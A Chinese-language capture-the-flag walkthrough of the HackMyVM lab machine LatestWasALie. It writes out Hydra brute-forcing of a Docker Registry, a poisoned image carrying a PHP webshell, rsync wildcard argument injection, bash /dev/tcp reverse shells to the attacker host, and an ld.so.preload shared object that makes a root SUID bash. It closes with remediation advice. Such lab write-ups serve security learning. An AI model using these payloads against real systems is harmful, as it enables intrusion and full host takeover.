跳到主要内容

HackMyVM LatestWasALie 通关记录|Docker Registry 投毒、rsync wildcard 与双链 Root 提权

靶机链接:LatestWasALie


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
LatestWasALie192.168.1.111靶机

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp Apache、5000/tcp Docker Registry明确初始攻击面
Host Header/notes.txt 泄露 latestwasalie.hmv访问真实 Web vhost
Registry 凭据Hydra 爆破 adm:lover1获得镜像拉取 / 推送能力
镜像投毒覆盖 latestwasalie-web:latest等待容器自动更新后获得 WebShell
容器枚举/data/exports 映射宿主机 /srv/platform/appdata/exports找到可影响宿主机的位置
备份链泄露.rsync_cmd 显示 backupusr 执行 rsync ... *.txt定位 wildcard 参数注入入口
初始宿主机权限文件名 -e sh rev.txt + rev.txtrsync 执行 payload,获得 backupusr
稳定登录在反弹 shell 中写入 SSH 公钥避免 Web 容器更新导致会话丢失
Root 链 ASUID /usr/bin/touch + /etc/ld.so.preload生成 root-owned SUID bash
Root 链 Bpspy 捕获 /root/backups.sh,利用 /opt/registry/note.txt第二条 root rsync wildcard 注入链

0x02 侦察与信息收集

1. 端口扫描

先做 TCP 全端口扫描,并对开放端口进行服务识别:

rustscan -a 192.168.1.111 --range 1-65535 --ulimit 5000 -- -sC -sV -oN nmap_initial.txt
nmap -p- -T4 --min-rate 10000 192.168.1.111 -oN nmap_full.txt

关键结果如下:

端口服务指纹 / 备注
22/tcpSSHOpenSSH 10.0p2 Debian 7+deb13u2
80/tcpHTTPApache/2.4.66 (Debian)
5000/tcpDocker RegistryRegistry API 2.0,Basic Auth

80 端口直接访问会跳转到 latestwasalie.hmv,目录枚举发现 notes.txt

curl -s http://192.168.1.111/notes.txt
Internal deployment note
The production vhost was moved from direct IP access.
Use the correct host header or local resolution.
Expected hostname: latestwasalie.hmv

本地添加解析:

echo '192.168.1.111 latestwasalie.hmv' | sudo tee -a /etc/hosts

访问真实 vhost 后页面为 LWAL Platform,HTML 注释里还给出一个低价值但可用于用户名字典的线索:

Last deployment on April 6, 2026 by adm

0x03 Docker Registry 凭据爆破与镜像审计

1. Basic Auth 爆破

Registry 暴露在 5000/tcp,访问 /v2/_catalog 需要 Basic Auth。结合页面注释里的 adm 构造用户名列表,使用 Hydra 爆破:

hydra -L /tmp/registry_users.txt -P /usr/share/wordlists/rockyou.txt \
-t 16 -f -s 5000 192.168.1.111 http-get \
"/v2/_catalog:A=BASIC:F=UNAUTHORIZED"

得到有效凭据:

adm:lover1

验证仓库列表:

curl -s -u 'adm:lover1' http://192.168.1.111:5000/v2/_catalog
{"repositories":["latestwasalie-web"]}

继续查看 tag:

curl -s -u 'adm:lover1' http://192.168.1.111:5000/v2/latestwasalie-web/tags/list
{"name":"latestwasalie-web","tags":["latest"]}

2. 镜像内容审计

拉取镜像并审计文件后,可以看到应用是 Debian Trixie + PHP 8.2.30 + Apache 2.4.66,工作目录为 /var/www/latestwasalie,运行用户为 www-data

Web 源码重点有两个文件:

文件作用
index.php静态营销页,显示 APP_VERSION
export.php将报告写入 /data/exports/report_*.txt

export.php 中暴露了关键目录:

$exportDir = '/data/exports';
$stateDir = '/data/state';

PHP hardening 配置禁用了大部分命令执行函数:

disable_functions=exec,passthru,shell_exec,system,proc_open,popen
expose_php=Off
display_errors=Off

Apache vhost 使用容器内 8080 端口,并且 Web 根目录允许 .htaccess

DocumentRoot /var/www/latestwasalie
AllowOverride All

镜像本身没有直接凭据,但 Registry 可推送且目标会自动拉取 latest,这就形成了镜像投毒入口。


0x04 镜像投毒获取 WebShell

构建一个继承原镜像的新镜像,删除 PHP hardening,并写入简单 WebShell:

FROM 192.168.1.111:5000/latestwasalie-web:latest
USER root
RUN rm -f /usr/local/etc/php/conf.d/zz-hardening.ini
RUN echo '<?php system($_GET["c"]); ?>' > /var/www/latestwasalie/s.php
USER www-data

构建并推送回相同 tag:

docker build -t 192.168.1.111:5000/latestwasalie-web:latest .
docker push 192.168.1.111:5000/latestwasalie-web:latest

目标 Web 容器会定时更新,等待一轮自动拉取后验证命令执行:

curl -s -H 'Host: latestwasalie.hmv' \
'http://192.168.1.111/s.php?c=id;hostname;uname+-a'

返回:

uid=33(www-data) gid=33(www-data) groups=33(www-data)
e9156dcda786
Linux e9156dcda786 6.12.74+deb13+1-amd64 ... x86_64 GNU/Linux

此时拿到的是容器内 www-data 权限。由于 Web 容器会定时更新,WebShell 可能随容器替换而丢失,所以后续重点放在通过挂载目录影响宿主机任务。


0x05 容器枚举:发现 /data/exports 与宿主机备份链

查看挂载点:

curl -s -G -H 'Host: latestwasalie.hmv' \
--data-urlencode 'c=cat /proc/1/mounts; echo ---; ls -la /data/exports' \
'http://192.168.1.111/s.php'

关键结论:

容器路径宿主机路径权限意义
/data/exports/srv/platform/appdata/exportsrwWeb 用户可写,能影响宿主机文件
/data/state宿主机路径同盘root 可写当前 www-data 不可直接利用

/data/exports 下存在一个非常关键的 .rsync_cmd

curl -s -G -H 'Host: latestwasalie.hmv' \
--data-urlencode 'c=cat /data/exports/.rsync_cmd' \
'http://192.168.1.111/s.php'

内容如下:

# Comando rsync ejecutado el mar 30 jun 2026 01:56:01 CEST
rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av *.txt localhost:/home/backupusr/backup/

# Usuario: backupusr
# PID: 7812
# Directorio actual: /srv/platform/appdata/exports
# Directorio destino: localhost:/home/backupusr/backup

这里暴露了三个关键信息:

  1. 宿主机存在用户 backupusr
  2. 定时任务会在宿主机目录 /srv/platform/appdata/exports 执行;
  3. 命令使用了未防护的 *.txt
rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av *.txt localhost:/home/backupusr/backup/

由于 /data/exports 映射到该宿主机目录,容器内 www-data 可以创建任意 .txt 文件名,从而把以 - 开头的文件名注入为 rsync 选项。


0x06 rsync wildcard 参数注入获得 backupusr

1. 注入原理

当目录里存在文件名 -e sh rev.txtrev.txt 时,shell 展开的命令会近似变成:

rsync -e 'ssh -i /home/backupusr/.ssh/id_ed25519' -av -e sh rev.txt localhost:/home/backupusr/backup/

后出现的 -e sh 会覆盖 rsync remote shell。rsync 连接 localhost 时会执行:

sh rev.txt localhost rsync --server ...

也就是 rev.txt 会以 backupusr 身份在宿主机上运行。

2. 部署纯反弹 payload

这里不要把 SSH 公钥写在 .txt payload 里。更稳妥的流程是:先用 .txt 只做反弹;收到 backupusr shell 后,再在交互 shell 中写入公钥。

在 Kali 开监听:

nc -lvnp 4446

通过 WebShell 写入 payload 和特殊文件名:

cat > /data/exports/rev.txt <<'PAYLOAD'
#!/bin/sh
{
echo "[+] rev ran $(date) id=$(id) cwd=$(pwd) args=$*"
} >> /srv/platform/appdata/exports/rev_proof.log 2>&1
/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.1.113/4446 0>&1'
exit 1
PAYLOAD
chmod +x /data/exports/rev.txt
touch -- "/data/exports/-e sh rev.txt"

等待备份任务触发后,Kali 收到反连:

connect to [192.168.1.113] from (UNKNOWN) [192.168.1.111] 60938
backupusr@latestwasalie:/srv/platform/appdata/exports$

枚举当前身份并读取 user flag:

id; hostname; pwd; uname -a; cat /home/backupusr/user.txt

输出:

uid=1000(backupusr) gid=1000(backupusr) grupos=1000(backupusr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)
latestwasalie
/srv/platform/appdata/exports
Linux latestwasalie 6.12.74+deb13+1-amd64 ... x86_64 GNU/Linux
2e0ddd70ed71cf1dcfeb747badb04adc

3. 反弹 shell 内写入 SSH 公钥

生成本地 key:

ssh-keygen -t ed25519 -N '' -f ./backup_id_ed25519 -C backupusr-key

backupusr 反弹 shell 中写入公钥:

mkdir -p /home/backupusr/.ssh
chmod 700 /home/backupusr/.ssh
printf '%s\n' 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKT2OV0R0J6Y2QVPEs6i6bNf2A2Lz2Zd4oRgiWSN62T1 backupusr-key' >> /home/backupusr/.ssh/authorized_keys
sort -u /home/backupusr/.ssh/authorized_keys -o /home/backupusr/.ssh/authorized_keys
chmod 600 /home/backupusr/.ssh/authorized_keys

验证 SSH 稳定登录:

ssh -F /dev/null -i ./backup_id_ed25519 \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/tmp/lwal_known_hosts \
-o BatchMode=yes \
backupusr@192.168.1.111 'id; hostname; pwd; cat /home/backupusr/user.txt'
uid=1000(backupusr) gid=1000(backupusr) ...
latestwasalie
/home/backupusr
2e0ddd70ed71cf1dcfeb747badb04adc

0x07 Root 链 A:SUID touch + /etc/ld.so.preload

1. 发现异常 SUID

backupusr 上常规枚举 SUID:

find / -perm -4000 -type f 2>/dev/null
ls -l /usr/bin/touch

异常点是 /usr/bin/touch 带 SUID:

-rwsr-xr-x 1 root root 88520 jun 4 2025 /usr/bin/touch

用它创建 /etc/ld.so.preload

/usr/bin/touch /etc/ld.so.preload
ls -l /etc/ld.so.preload

结果:

-rw-rw-r-- 1 root backupusr 0 jun 30 04:31 /etc/ld.so.preload

文件 owner 是 root,group 是 backupusr 且 group 可写。这意味着 backupusr 可以写入动态链接器 preload 配置。

2. 构造恶意 shared object

本地编译一个构造函数,执行时移除 /etc/ld.so.preload 并把 /home/backupusr/rootbash 设置为 root SUID:

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/stat.h>

__attribute__((constructor)) void init(void) {
setgid(0);
setuid(0);
unlink("/etc/ld.so.preload");
chown("/home/backupusr/rootbash", 0, 0);
chmod("/home/backupusr/rootbash", 04755);
}

编译并上传:

gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c
scp -F /dev/null -i ./backup_id_ed25519 preload_home.so \
backupusr@192.168.1.111:/home/backupusr/preload_home.so

3. 触发 preload 并读取 root flag

在目标执行:

cp /bin/bash /home/backupusr/rootbash
chmod 755 /home/backupusr/rootbash
/usr/bin/touch /etc/ld.so.preload
printf "/home/backupusr/preload_home.so\n" > /etc/ld.so.preload
/usr/bin/touch /home/backupusr/trigger_preload
/home/backupusr/rootbash -p -c 'id; whoami; ls -la /root; cat /root/root.txt 2>&1'

结果:

-rwsr-xr-x 1 root root 1298416 jun 30 04:33 /home/backupusr/rootbash
uid=1000(backupusr) gid=1000(backupusr) euid=0(root) ...
root
/root/root.txt:
d52d371a951a34985812cf9b96c8ffa1

一个小细节:/tmp 在该靶机上有 nosuid,所以 SUID bash 放在 /tmp 不会生效;改放到 /home/backupusr/rootbash 后即可正常 bash -p


0x08 Root 链 B:/root/backups.sh + /opt/registry/note.txt 通配符注入

用户态 root 链已经成立后,可以重新从 backupusr 视角找第二条 root 路径。核心思路是:先用可写文件枚举发现 /opt/registry/note.txt,再用 pspy 观察 root 定时任务,最后把这两个线索合并为第二处 rsync wildcard 注入。

1. 枚举 world-writable 文件

find / -writable 2>/dev/null | grep -v -E '(proc|sys|dev|tmp|run)'
find / -name note.txt -ls 2>/dev/null

关键发现:

/opt/registry/note.txt
-rw-rw-rw- 1 root root 24 abr 10 21:06 /opt/registry/note.txt

/opt/registry 目录本身由 root 控制,普通用户不能直接创建新文件,但 note.txt 是 world-writable。

2. pspy 捕获 root 定时任务

上传并运行 pspy:

scp -F /dev/null -i ./backup_id_ed25519 /home/kali/tools/pspy64 \
backupusr@192.168.1.111:/home/backupusr/pspy64
ssh -F /dev/null -i ./backup_id_ed25519 backupusr@192.168.1.111 \
'chmod +x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid'

关键输出:

2026/06/30 04:48:01 CMD: UID=0 PPID=6878 | /bin/sh -c /root/backups.sh >/dev/null 2>&1
2026/06/30 04:48:01 CMD: UID=0 PPID=6879 | /bin/bash /root/backups.sh
2026/06/30 04:48:01 CMD: UID=0 PPID=6882 | rsync -e ssh -i /root/.ssh/id_ed25519 -av auth config dat...

这里可以确认 root 会周期性运行 /root/backups.sh,并且内部同样使用 rsync。

3. 利用 SUID touch 补齐文件名注入条件

虽然 /opt/registry 目录不可写,但前面发现的 SUID /usr/bin/touch 可以在 root-owned 目录下创建 root-owned 文件名。于是构造:

文件作用
/opt/registry/-e sh note.txtrsync 参数注入,覆盖 remote shell
/opt/registry/note.txt实际执行的 shell payload

如果 /root/backups.sh/opt/registry 下执行类似 rsync ... *.txt ... 的命令,最终会触发:

sh note.txt localhost rsync --server ... /root/registry-backup/

4. 写入 root payload

backupusr 执行:

cat > /opt/registry/note.txt <<'PAYLOAD'
#!/bin/sh
{
echo "[+] note.txt root payload ran at $(date) id=$(id) cwd=$(pwd) args=$*"
cp /bin/bash /home/backupusr/root_note_bash
chown root:root /home/backupusr/root_note_bash
chmod 4755 /home/backupusr/root_note_bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.113/4447 0>&1" &
} >> /home/backupusr/note_root.log 2>&1
exit 1
PAYLOAD

/usr/bin/touch "/opt/registry/-e sh note.txt"
ls -la /opt/registry

确认文件状态:

-rw-rw-r-- 1 root backupusr 0 jun 30 04:58 -e sh note.txt
-rw-rw-rw- 1 root root 344 jun 30 04:58 note.txt

Kali 开监听:

nc -lvnp 4447

触发后收到 root 反连:

connect to [192.168.1.113] from (UNKNOWN) [192.168.1.111] 41462
root@latestwasalie:/opt/registry#

验证:

id; whoami; pwd
ls -l /home/backupusr/root_note_bash
cat /home/backupusr/note_root.log
cat /root/root.txt

输出:

uid=0(root) gid=0(root) grupos=0(root)
root
/opt/registry
-rwsr-xr-x 1 root root 1298416 jun 30 05:00 /home/backupusr/root_note_bash
[+] note.txt root payload ran at mar 30 jun 2026 04:59:01 CEST id=uid=0(root) gid=0(root) grupos=0(root) cwd=/opt/registry args=localhost rsync --server -vlogDtpre.iLsfxCIvu . /root/registry-backup/
d52d371a951a34985812cf9b96c8ffa1

这条链的价值在于:即使不走 /etc/ld.so.preload,仍然可以通过 root cron + rsync wildcard 获得 root。


0x09 最终成果 (Final Flags)

User Flag

  • 路径: /home/backupusr/user.txt
  • 内容: 2e0ddd70ed71cf1dcfeb747badb04adc

Root Flag

  • 路径: /root/root.txt
  • 内容: d52d371a951a34985812cf9b96c8ffa1

复盘总结

LatestWasALie 的主线不是单点 RCE,而是一条典型的供应链 / 运维链路组合漏洞:Registry 弱口令导致镜像投毒,镜像自动部署扩大为 WebShell,容器可写挂载连接到宿主机备份目录,rsync wildcard 把文件名变成命令参数,最终获得宿主机用户。后续两个 root 路径都围绕"高权限任务消费低权限可控输入"展开。

  1. Registry 弱口令 + 自动拉取 latest 是镜像投毒的完整条件。 adm:lover1 被 Hydra 秒杀,而生产容器自动拉取可变 tag 意味着攻击者推送即部署。修复方向:Registry 限制来源 IP,发布链路区分拉取与推送权限,使用固定 digest + 镜像签名校验。

  2. 容器可写挂载把 Web 权限传递到了宿主机。 /data/exportswww-data 可写,而宿主机 backupusr 的备份任务直接消费该目录内容。Web 容器只应获得最小挂载权限;如果必须共享目录,建议只读挂载、单向复制、文件白名单校验。

  3. rsync wildcard 注入贯穿两条提权链。 rsync ... *.txt 在攻击者可写目录中执行时,以 - 开头的文件名会被 shell glob 展开为 rsync 选项。不要在高权限脚本中对可控目录执行裸通配符;应使用 find -print0 搭配受控参数,或生成 --files-from 清单并严格过滤以 - 开头的文件名。

  4. 异常 SUID /usr/bin/touchld.so.preload 提权的前提。 SUID touch 创建的文件 group 为调用者,使得 backupusr 可以写入 /etc/ld.so.preload。生产环境应执行 chmod u-s /usr/bin/touch 移除异常 SUID。

  5. /opt/registry/note.txt 的 world-writable 权限开启了第二条 root 路径。 root cron 在 /opt/registry 下执行 rsync ... *.txt,而 note.txt 可被任意用户覆盖为 shell payload。应将其权限修复为 0644 root:root

  6. 两条 root 链的共同本质是"高权限任务消费低权限可控输入"。 无论是 ld.so.preload 还是 /root/backups.sh,根因都是 root 定时任务进入了普通用户可影响的目录执行命令。从防守角度看,核心修复点是三类:镜像仓库发布链路、容器与宿主机共享目录边界、以及高权限 shell 脚本对通配符和文件名的处理方式。